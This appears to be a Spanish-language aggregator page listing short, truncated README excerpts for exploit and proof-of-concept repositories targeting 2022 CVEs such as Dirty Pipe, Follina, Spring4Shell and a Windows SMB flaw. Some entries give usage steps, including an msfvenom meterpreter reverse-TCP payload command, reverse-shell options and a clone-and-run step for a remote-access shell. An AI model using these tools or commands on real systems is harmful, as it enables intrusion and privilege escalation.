CVE-2022-3328

CVE-2022-3328 CVE-2022-3328 con CVE-2022-41974 y CVE-2022-41973 de: https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt https://blog.qualys.com/vulnerabilities-threat-research/2022/11/30/race-condition-in-snap-confines-mustmkdirandopenwithperms-cve-2022-3328...

Dirty-Pipe-CVE-2022-0847

Dirty-Pipe-CVE-2022-0847 CVE-2022-0847 Dirty Pipe es una vulnerabilidad de sobrescritura arbitraria de archivos que permite la escalada de privilegios mediante la modificación o sobrescritura de archivos arbitrarios de solo lectura, p. ej., /etc/passwd, /etc/shadow. Pasos 1. Compilar usando gcc...

http-vuln-CVE-2022-41082

LA VERSIÓN ACTUALIZADA TAMBIÉN PERMITE LA VERIFICACIÓN HTTPS exchange-vuln-check.nse PARA HTTP: nmap -p80 --script exchange-vuln-check.nse PARA HTTPS: nmap -p443 --script exchange-vuln-check.nse GUARDAR RESULTADOS EN UN ARCHIVO nmap -p80 --script exchange-vuln-check.nse -oN results.txt...

SnakeYAML-CVE-2022-1471-POC

SnakeYAML-CVE-2022-1471-POC Código para el blog de veracode Para demostrar la ejecución de código, 1. Construye el proyecto usando maven 2. Ejecuta python3 -m http.server 8080 para iniciar el servidor HTTP 3. Ejecuta exploit.java. Deberías observar una solicitud HTTP GET en el servidor 4. Para...

Zimbra_CVE-2022-37042-_CVE-2022-27925

ZimbraCVE-2022-37042-CVE-2022-27925...

cve-2022-3602-and-cve-2022-3786-openssl-poc

This repository does not have a README...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, soporta escaneo por lotes Uso root@kitploit: -a string Dirección de escucha de rebote -b Mostrar banner o no default true -c string Comando default "ls" -p int Puerto de escucha de rebote -poc Solo escaneo POC o no, por defecto solo POC default true -r Rebote de shell o no...

CVE-2022-24500

CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw...

unzip_poc

CVE-2022-0529 y CVE-2022-0530 POC para unzip 6.0 CVE-2022-0529 & CVE-2022-0530 https://bugzilla.redhat.com/showbug.cgi?id=2051402 https://bugzilla.redhat.com/showbug.cgi?id=2051395...

Sonic_CVE-2022-22274_poc

SonicCVE-2022-22274-poc https://nvd.nist.gov/vuln/detail/CVE-2022-22274...

CVE-2022-40684

CVE-2022-40684 Enumerar todos los nombres de usuario y escribir la clave pública SSH en un solo clic Integra y optimiza el código de estos dos repositorios para lograr el resultado de enumerar todos los nombres de usuario y escribir la clave pública SSH en un solo clic:...

CVE-2022-0847-Container-Escape

CVE-2022-0847-Container-Escape CVE-2022-0847 utilizado para lograr escape de contenedor. Utilizando CVE-2022-0847 Dirty Pipe para lograr escape de contenedor. Implementado usando el lenguaje Go...

CVE-2022-33679

Este repositorio no tiene un README...

Follina

Follina PARCHEADO Shell de acceso remoto para Windows basado en cve-2022-30190 ⚠️ Hecho solo con fines educativos 📚 Instalación y Uso 🛠️ root@kitploit: $ git clone https://github.com/AbdulRKB/Follina.git $ cd Follina $ pip install -r requirements.txt $ python main.py...

CVE-2022-39197-fix_patch

CVE-2022-39197-fixpatch Uso Añade parámetros al iniciar cobaltstrike -javaagent:fixXss-1.0-SNAPSHOT.jar...

Exploit-For-CVE-2022-36067

Exploit-For-CVE-2022-36067 Este repositorio contiene el payload para el CVE-2022-36067 ¿Cómo explotarlo? Pega el payload proporcionado en payload.js junto con el comando que quieras ejecutar. Prueba en máquina local Para probar en una máquina local, clona el repositorio con git, instala las...

CVE-2022-33679

CVE-2022-33679 Basado en el artículo de Google Project Zero de un día: https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html Uso root@kitploit: usage: CVE-2022-33079.py -h -ts -debug -dc-ip ip address target serverName Ejemplo...

exploit-CVE-2022-24780

iTop RCE via SSTI - exploit CVE-2022-24780 iTop --debug exploit.rb light --debug exploit.rb -h | --help full: exploit with an emulated browser, execute JavaScript, preserve original user profile information light: just parse HTML and send requests, no JavaScript, DESTRUCTIVE reset user informatio...

sqlpad-rce-exploit-CVE-2022-0944

Exploit de RCE en SQLPad Este repositorio contiene un script de explotación para CVE-2022-0944 en SQLPad, una vulnerabilidad que permite la ejecución remota de código RCE a través del endpoint /api/test-connection. Resumen El script proporcionado exploit.py demuestra cómo explotar la vulnerabilid...

CVE-2022-0847

Información root@kitploit: Exploit Title: Local Privilege Escalation in Linux kernel CVE-2022-0847 Date: 03/07/2022 Exploit Author: Max Kellermann Tested on: ubuntu 20.04.1 LTS Affect product:Linux kernel 5.8 or later Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102 CVE ID: CVE-2022-0847 Cóm...